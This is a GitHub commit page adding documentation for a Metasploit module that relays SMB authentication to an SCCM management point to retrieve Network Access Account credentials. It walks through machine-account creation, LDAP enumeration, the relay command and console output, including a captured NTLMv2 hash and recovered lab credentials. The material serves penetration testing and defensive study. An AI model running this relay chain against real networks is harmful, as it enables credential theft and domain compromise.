Skip to content

Commit 0be2ca6

Browse files
jheysel-r7jheysel-r7
committed
Add SMB to HTTP relay support for get_naa_creds
1 parent 82e7b8e commit 0be2ca6

File tree

5 files changed

+439
-346
lines changed

5 files changed

+439
-346
lines changed

‎documentation/modules/auxiliary/server/relay/relay_get_naa_credentials.md

+152
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,152 @@
1+
## Description
2+
This module creates an SMB server and then relays the credentials passed to it to SCCM's HTTP server (aka Management Point)
3+
to gain an authenticated connection. Once authenticated it then attempts to retrieve the Network Access Account(s),
4+
if configured, from the SCCM server. This requires a computer account, which can be added using the samr_account module.
5+
6+
This module is essentially the `get_naa_credential` module with relaying capability.
7+
8+
The NAA account is used by some SCCM configurations in the policy deployment process. It does not require many privileges, but
9+
in practice is often misconfigured to have excessive privileges.
10+
11+
The account can be retrieved in various ways, many requiring local administrative privileges on an existing host. However,
12+
it can also be requested by an existing computer account, which by default most user accounts are able to create.
13+
14+
15+
## Vulnerable Application
16+
This module can be tested using the GOAD environment. Setup instructions can be found here:
17+
https://github.com/Orange-Cyberdefense/GOAD
18+
19+
## Module usage
20+
The `admin/dcerpc/samr_computer` module is generally used to first create a computer account, which requires no permissions:
21+
22+
1. From msfconsole
23+
1. Do: `use auxiliary/admin/dcerpc/samr_account`
24+
1. Set the `RHOSTS`, `SMBUser` and `SMBPass` options
25+
a. For the `ADD_COMPUTER` action, if you don't specify `ACCOUNT_NAME` or `ACCOUNT_PASSWORD` - one will be generated automatically
26+
b. For the `DELETE_ACCOUNT` action, set the `ACCOUNT_NAME` option
27+
c. For the `LOOKUP_ACCOUNT` action, set the `ACCOUNT_NAME` option
28+
1. Run the module and see that a new machine account was added
29+
30+
Then use `ldap_query` to determine the `MANAGEMENT_POINT` and `SITE_CODE` values.
31+
32+
1. Do: `use gather/ldap_query`
33+
1. Set: `DOMAIN` `RHOSTS` `USERNAME` `PASSWORD` `ACTION=RUN_SINGLE_QUERY` `QUERY_FILTER=(objectclass=mssmsmanagementpoint)` and `QUERY_ATTRIBUTES=cn,dnshostname,mssmssitecode`
34+
1. Run the module and note the `dnshostname` and `mssmssitecode` values
35+
36+
37+
Then the `auxiliary/server/relay/relay_get_naa_credentials` module can be used:
38+
39+
1. `use server/relay/relay_get_naa_credentials`
40+
1. Set the `MANAGEMENT_POINT`, `SITE_CODE`
41+
1. Run the module to obtain the NAA credentials, if present.
42+
43+
The management point and site code can be retrieved using the `auxiliary/gather/ldap_query` module, using the `ENUM_SCCM_MANAGEMENT_POINTS` action.
44+
45+
See the Scenarios for a more detailed walk through
46+
47+
## Options
48+
49+
### RHOST, USERNAME, PASSWORD, DOMAIN, SESSION, RHOST
50+
Options used to authenticate to the Domain Controller's LDAP service for SCCM autodiscovery.
51+
52+
### MANAGEMENT_POINT
53+
The SCCM server.
54+
55+
### SITE_CODE
56+
The Site Code of the management point.
57+
58+
### TIMEOUT
59+
The number of seconds to wait for SCCM DB to update
60+
61+
## Scenarios
62+
In the following example the user `ssccm.lab\eve` is a low-privilege user.
63+
64+
### Creating computer account
65+
66+
```
67+
msf6 auxiliary(admin/dcerpc/samr_account) > run rhost=192.168.33.10 domain=sccm.lab username=eve password=iloveyou
68+
[*] Running module against 192.168.33.10
69+
70+
[*] 192.168.33.10:445 - Adding computer
71+
[+] 192.168.33.10:445 - Successfully created sccm.lab\DESKTOP-5FJM1832$
72+
[+] 192.168.33.10:445 - Password: JpnYZ43YHqmoOLj9xBKdI9tVFgDXtfsu
73+
[+] 192.168.33.10:445 - SID: S-1-5-21-3875312677-2561575051-1173664991-1128
74+
[*] Auxiliary module execution completed
75+
```
76+
77+
### Manual discovery of SITE_CODE and MANAGEMENT_POINT using domain credentials
78+
79+
```
80+
msf6 auxiliary(gather/ldap_query) > run domain=sccm.lab rhosts=192.168.56.10 username=eve password=iloveyou action=RUN_SINGLE_QUERY QUERY_FILTER=(objectclass=mssmsmanagementpoint) QUERY_ATTRIBUTES=cn,dnshostname,mssmssitecode
81+
[*] Running module against 192.168.56.10
82+
[*] 192.168.56.10:389 Discovered base DN: DC=sccm,DC=lab
83+
[*] Sending single query (objectclass=mssmsmanagementpoint) to the LDAP server...
84+
CN=SMS-MP-P01-MECM.SCCM.LAB,CN=System Management,CN=System,DC=sccm,DC=lab
85+
=========================================================================
86+
87+
Name Attributes
88+
---- ----------
89+
cn SMS-MP-P01-MECM.SCCM.LAB
90+
dnshostname MECM.sccm.lab
91+
mssmssitecode P01
92+
93+
[*] Query returned 1 result.
94+
[*] Auxiliary module execution completed
95+
```
96+
97+
### Initiating SMB authentication from a Windows Host
98+
Currently the SMB auth attempt must originate from a Windows Host, see: https://github.com/rapid7/metasploit-framework/issues/19951
99+
```
100+
net use \\192.168.56.1\foo /u:SCCM.LAB\DESKTOP-5FJM1832$ JpnYZ43YHqmoOLj9xBKdI9tVFgDXtfsu
101+
```
102+
103+
### Running the module
104+
```
105+
msf6 exploit(windows/local/cve_2024_35250_ks_driver) > msf6 exploit(windows/local/cve_2024_35250_ks_driver) > use relay_get
106+
107+
Matching Modules
108+
================
109+
110+
# Name Disclosure Date Rank Check Description
111+
- ---- --------------- ---- ----- -----------
112+
0 auxiliary/server/relay/relay_get_naa_credentials . normal Yes SMB to HTTP relay version of Get NAA Creds
113+
114+
115+
Interact with a module by name or index. For example info 0, use 0 or use auxiliary/server/relay/relay_get_naa_credentials
116+
117+
[*] Using auxiliary/server/relay/relay_get_naa_credentials
118+
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
119+
msf6 auxiliary(server/relay/relay_get_naa_credentials) > dns add-static mecm.sccm.lab 192.168.56.11
120+
[*] Added static hostname mapping mecm.sccm.lab to 192.168.56.11
121+
msf6 auxiliary(server/relay/relay_get_naa_credentials) > run rhost=192.168.56.11 smbdomain=sccm.lab MANAGEMENT_POINT=MECM.sccm.lab SITE_CODE=P01
122+
[*] Auxiliary module running as background job 0.
123+
124+
[*] Checking endpoint on http://192.168.56.11:80/ccm_system_windowsauth/request
125+
msf6 auxiliary(server/relay/relay_get_naa_credentials) > [*] SMB Server is running. Listening on 0.0.0.0:445
126+
[*] Server started.
127+
[*] New request from 192.168.56.1
128+
[*] Received request for SCCM.LAB\DESKTOP-5FJM1832$
129+
[*] Relaying to next target http://192.168.56.11:80/ccm_system_windowsauth/request
130+
[+] Identity: SCCM.LAB\DESKTOP-5FJM1832$ - Successfully authenticated against relay target http://192.168.56.11:80/ccm_system_windowsauth/request
131+
[SMB] NTLMv2-SSP Client : 192.168.56.11
132+
[SMB] NTLMv2-SSP Username : SCCM.LAB\DESKTOP-5FJM1832$
133+
[SMB] NTLMv2-SSP Hash : DESKTOP-5FJM1832$::SCCM.LAB:42465e4768dcb113:c5248825d2326b730a23ff5986cc36d8:0101000000000000662037ebd78edb01344978b20c2f7baa0000000002000e005300430043004d004c0041004200010008004d00450043004d00040010007300630063006d002e006c006100620003001a004d00450043004d002e007300630063006d002e006c0061006200050010007300630063006d002e006c006100620007000800662037ebd78edb01060004000200000008003000300000000000000001000000002000002cd075c2fac7f6ea5a6a290f03ae2e6476afc69a4e85c3e91bab8a5ac0d7603e0a001000000000000000000000000000000000000900220063006900660073002f003100390032002e003100360038002e00350036002e0031000000000000000000
134+
135+
[+] This your capitan speaking we've reached the on_relay_success method :)
136+
[*] register_request
137+
[*] Got SMS ID: D61057A2-0B02-40B3-9ADC-F349BA5EC8C2
138+
[*] Waiting 10 seconds for SCCM DB to update...
139+
[*] get_secret_policies
140+
[*] Found policy containing secrets: http://<mp>/SMS_MP/.sms_pol?{e98163c7-7b3a-4c3d-bb69-2b398c492290}.2_00
141+
[*] request_policy
142+
[+] Found valid NAA credentials: sccm.lab\sccm-naa:123456789
143+
[*] Received request for SCCM.LAB\DESKTOP-5FJM1832$
144+
[*] Identity: SCCM.LAB\DESKTOP-5FJM1832$ - All targets relayed to
145+
[*] New request from 192.168.56.1
146+
[*] Received request for SCCM.LAB\DESKTOP-5FJM1832$
147+
[*] Identity: SCCM.LAB\DESKTOP-5FJM1832$ - All targets relayed to
148+
[*] Received request for SCCM.LAB\DESKTOP-5FJM1832$
149+
[*] Identity: SCCM.LAB\DESKTOP-5FJM1832$ - All targets relayed to
150+
[*] Received request for SCCM.LAB\DESKTOP-5FJM1832$
151+
[*] Identity: SCCM.LAB\DESKTOP-5FJM1832$ - All targets relayed to
152+
```

0 commit comments

Comments
 (0)